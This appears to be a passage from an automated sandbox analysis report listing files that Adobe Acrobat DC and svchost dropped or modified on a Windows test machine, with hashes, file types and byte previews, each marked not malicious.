SHA-512:	27DB12AB94B77D4A80FF863545CECFF303794BFAB03C0623DEBCFBE7D897EA19638615FC7F7A649F86BDC7E641E59D7E5BD977EC31D1F0D0148418001BD4331C
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa7b811d2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422083067252385
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	8F676710ACDF3138E9E2EAC30BE1F4AB
SHA1:	CDA75D429733C883BCDD9D4C0523A9F312958BF4
SHA-256:	39754F6C695754A03CA965111A640228410DB12E82ABF1BC9D5F3DF86A2022D5
SHA-512:	FA5F16E676B2CBD0109AAEF908D9D9872CE2EA414900B943A847A6169A06D3516C001ED6E32225650F723984C51F9B9248B3A192F3105BEA5DDE03291943F8DB
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A..)...}#.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................(.g.)...}A.................k~...)...}#..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07549851276471338
Encrypted:	false
SSDEEP:	3:StEYeSjrYwauajn13a/eA0kz//lallcVO/lnlZMxZNQl:StEzqrYwaua53qdXAOewk
MD5:	4B639E240FB027566F9FB3F3E5A5482A
SHA1:	56B8D0A21F0DC26F0986360A785ED8912E2121C7
SHA-256:	E26192FFBBE686C65652E05B9D9539F06C60304ADB4DFA7F59B15665C185F3EB
SHA-512:	E11730DA0D86413B6FE75D44960806333804FFB09D46D2829DF03644CF73AE1476F6C617EA7C6DD334392406BB65DBF51F05C9CF842C81067AD493CB1FE86061
Malicious:	false
Preview:	X=N......................................;...{...)...}#......{A..............{A......{A..........{A]................k~...)...}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.206325503934221
Encrypted:	false
SSDEEP:	6:iOWEN1yq2Pwkn2nKuAl9OmbnIFUts71ZmwSroRkwOwkn2nKuAl9OmbjLJ:7W1vYfHAahFUts71/Ss5JfHAaSJ
MD5:	BBBDDF4405B52CDA64A1196065DE6398
SHA1:	2F0C192B049E2DDF4601904C46CEB51CF7B3B168
SHA-256:	FE26A49936DB0EC5670F1070A12091E173F3561D42EA814AAF373624B1384540
SHA-512:	112DB81C3370037BCB19A075F808D72A1286632BCE9FD1A5063414204460E59049A288EB51145CEB3818E76C2F5F124AFA406859CD95D409CC92B01A8EDBCFA0
Malicious:	false
Preview:	2025/01/11-02:40:58.923 3a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:40:58.926 3a0 Recovering log #3.2025/01/11-02:40:58.927 3a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.206325503934221
Encrypted:	false
SSDEEP:	6:iOWEN1yq2Pwkn2nKuAl9OmbnIFUts71ZmwSroRkwOwkn2nKuAl9OmbjLJ:7W1vYfHAahFUts71/Ss5JfHAaSJ
MD5:	BBBDDF4405B52CDA64A1196065DE6398
SHA1:	2F0C192B049E2DDF4601904C46CEB51CF7B3B168
SHA-256:	FE26A49936DB0EC5670F1070A12091E173F3561D42EA814AAF373624B1384540
SHA-512:	112DB81C3370037BCB19A075F808D72A1286632BCE9FD1A5063414204460E59049A288EB51145CEB3818E76C2F5F124AFA406859CD95D409CC92B01A8EDBCFA0
Malicious:	false
Preview:	2025/01/11-02:40:58.923 3a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:40:58.926 3a0 Recovering log #3.2025/01/11-02:40:58.927 3a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.170411898403458
Encrypted:	false
SSDEEP:	6:iOWgJFIq2Pwkn2nKuAl9Ombzo2jMGIFUtsrZZmwSkPPkwOwkn2nKuAl9Ombzo2jz:7WgJFIvYfHAa8uFUtsl/SkPP5JfHAa8z
MD5:	61D4CA30FAE1F8D905D776E433E1F925
SHA1:	7D5E6D4DA6065C385917F854ADA714599A0CC9AA
SHA-256:	A4CE25ED0DD1DFE190B853AA0639B72D7ADE14A170358BEEE74ADFC2CC9B02EA
SHA-512:	7D2293946FC46B78F840006DEFC961F1D5B418308AFE334ED889DC7981D8ABA29EB56C1722E59BE5EFED8E5FE6882C61C35F9F9317D6CEBB27061E0DCFBEE503
Malicious:	false
Preview:	2025/01/11-02:40:59.162 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:40:59.165 1cd4 Recovering log #3.2025/01/11-02:40:59.166 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.170411898403458
Encrypted:	false
SSDEEP:	6:iOWgJFIq2Pwkn2nKuAl9Ombzo2jMGIFUtsrZZmwSkPPkwOwkn2nKuAl9Ombzo2jz:7WgJFIvYfHAa8uFUtsl/SkPP5JfHAa8z
MD5:	61D4CA30FAE1F8D905D776E433E1F925
SHA1:	7D5E6D4DA6065C385917F854ADA714599A0CC9AA
SHA-256:	A4CE25ED0DD1DFE190B853AA0639B72D7ADE14A170358BEEE74ADFC2CC9B02EA
SHA-512:	7D2293946FC46B78F840006DEFC961F1D5B418308AFE334ED889DC7981D8ABA29EB56C1722E59BE5EFED8E5FE6882C61C35F9F9317D6CEBB27061E0DCFBEE503
Malicious:	false
Preview:	2025/01/11-02:40:59.162 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:40:59.165 1cd4 Recovering log #3.2025/01/11-02:40:59.166 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958562319064591
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqi8ksBdOg2HE2caq3QYiubInP7E4T3y:Y2sRdsZ+dMHA3QYhbG7nby
MD5:	C26A6CBAAEBD4D59264669B20AF05543
SHA1:	E132AC6E2238809B53B7482D2B9072D6695C6B40
SHA-256:	72AB696EEEBDE3A6BCCE2350877EAFF7B27A429569F48277A6E8B7C28814A3DA
SHA-512:	CB7B7F5CC5515415BCD8BF1B9209069EED46AD7DA4F2B7FD36C7C8B2D58DE5879B5369C491671F53F3719B32E179DABBE21AB0067400861EDA900D74F982458B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141270700811","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133901},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f38a0c4c-13eb-4ec8-8ef8-f761aee9f6df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958562319064591
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqi8ksBdOg2HE2caq3QYiubInP7E4T3y:Y2sRdsZ+dMHA3QYhbG7nby
MD5:	C26A6CBAAEBD4D59264669B20AF05543
SHA1:	E132AC6E2238809B53B7482D2B9072D6695C6B40
SHA-256:	72AB696EEEBDE3A6BCCE2350877EAFF7B27A429569F48277A6E8B7C28814A3DA
SHA-512:	CB7B7F5CC5515415BCD8BF1B9209069EED46AD7DA4F2B7FD36C7C8B2D58DE5879B5369C491671F53F3719B32E179DABBE21AB0067400861EDA900D74F982458B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141270700811","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133901},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.259317044243265
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo72+jX:etJCV4FiN/jTN/2r8Mta02fEhgO73gon
MD5:	57BD94E04B9E194F1B5384BEEB027333
SHA1:	305DD1783A4961EFA372467662724B941ACBCE7F
SHA-256:	3D0BB139026F09EA80ED8F379AAB38CB81A5D33B8DFAE36CBDD71964A67A5414
SHA-512:	3795F3AF4DFB4676E5990B82D8FA0448953AA4C2E20495BCE12A250E7DD9C7BBDC90EF9CB74686EA4F6018A0FFF954E38CDCE15998BBE2E4449886A40F3B8397
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1559244453906325
Encrypted:	false
SSDEEP:	6:iOWnFIq2Pwkn2nKuAl9OmbzNMxIFUts7XZmwS4zkwOwkn2nKuAl9OmbzNMFLJ:7WFIvYfHAa8jFUts7X/SE5JfHAa84J
MD5:	9CE7F15537F6FCC963669DBACA569636
SHA1:	095D1BF1C4466C543C789E698DC2F1FA9337A3EB
SHA-256:	70C628E0A5FB967BD806878DD63D096F806CDBD925AEB1665403593B7743D3A2
SHA-512:	EC5B2CD681D5174C8B1A330AE79F9F805D0D064AF4E8716F38D29CDF7546B44041376F7DE8076AAF519799182C9408A5E9D6E94AA361E47A6BB68C0C58713C66
Malicious:	false
Preview:	2025/01/11-02:40:59.310 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:40:59.314 1cd4 Recovering log #3.2025/01/11-02:40:59.315 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1559244453906325
Encrypted:	false
SSDEEP:	6:iOWnFIq2Pwkn2nKuAl9OmbzNMxIFUts7XZmwS4zkwOwkn2nKuAl9OmbzNMFLJ:7WFIvYfHAa8jFUts7X/SE5JfHAa84J
MD5:	9CE7F15537F6FCC963669DBACA569636
SHA1:	095D1BF1C4466C543C789E698DC2F1FA9337A3EB
SHA-256:	70C628E0A5FB967BD806878DD63D096F806CDBD925AEB1665403593B7743D3A2
SHA-512:	EC5B2CD681D5174C8B1A330AE79F9F805D0D064AF4E8716F38D29CDF7546B44041376F7DE8076AAF519799182C9408A5E9D6E94AA361E47A6BB68C0C58713C66
Malicious:	false
Preview:	2025/01/11-02:40:59.310 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:40:59.314 1cd4 Recovering log #3.2025/01/11-02:40:59.315 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447115126547425
Encrypted:	false
SSDEEP:	384:Se8ci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:cRs3OazzU89UTTgUL
MD5:	9718FA3A58FC4B406F51E12F7CAC8D77
SHA1:	F71475720C4141578ECE2F03AE0ACF02320429A2
SHA-256:	7FFAFA8D4F83C89DE48C67274747429E1CC7BC0D577E071D602EDF8DA60EFB11
SHA-512:	D5AC6E7F47FF523E1ABBCB870D82A6EADD2D170F40B1A1DA6C312376AD76993EA90BF063FCCA666657F75E541DAF377475C90C1C20A46A0055AA7DCB09996D01
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214531616322903
Encrypted:	false
SSDEEP:	24:7+tPiMnuwKgqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9N:7MqMnCgqvmFTIF3XmHjBoGGR+jMz+LhH
MD5:	41B7F3C1B9384BE490E0961470360A6F
SHA1:	5B8F78D1E29B24FD4C3AFF0ED770D6553C7177F9
SHA-256:	8DFAAF4F79DA056D0D397A2D359B6C78371A9AB4DC54FA5B7F29AA9C8DA60E11
SHA-512:	F9DF23402DDF3CC77B6FEA1E6A15EB2FE2A026897E6CB3883A6B55C057F494146E1332E07837B6D9A1663CA9247BD9F1BDB9335DE4AC0C692599702F4A74CC71
Malicious:	false
Preview:	.... .c.....z.{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklOqZGbVltfllXlE/HT8khNNX8RolJuRdxLlGB9lQRYwpDdt:kKXqZyeT8UNMa8RdWBwRd
MD5:	096918EDE660949763BB917D2B5F3D7E
SHA1:	778B4358607F34901FCAFA72C6201212973BACB9
SHA-256:	55E6C5D038BD38ECAF1FCC5BB13053A185C6B19D3789D4C5B11E8B80F1D73610
SHA-512:	CE296725242F9E64E585263C4626502FC2489987F993A8C908FBE1D0105F042D397FA37AE584BA6279412551AA8C7DB50A9D2E8D7508EC4DC54ADE926A52B743
Malicious:	false
Preview:	p...... ........=.t,.c..(....................................................... ..........W.....F..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKa/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CiDnLNkPlE99SNxAhUe/3
MD5:	1339FCBFB2C158E09F45858BE6661B9F
SHA1:	C24C74519CEACB5A9572AB5F09645F04AEDA1D78
SHA-256:	F8778E36DD4E7F12F5EFB9FBEC41EC5BF61F3C6542F0372D24D4B6F27A185C7C
SHA-512:	214EE6D380C10B5C4541D874CA41F27D4AA0C99BF209C1353145D0C2ED5149B1681C52C2D7FE2AEDC34C0798847DAFE57EA379D502C4D0ADC12ED6578148CBCA
Malicious:	false
Preview:	p...... ........F..>.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
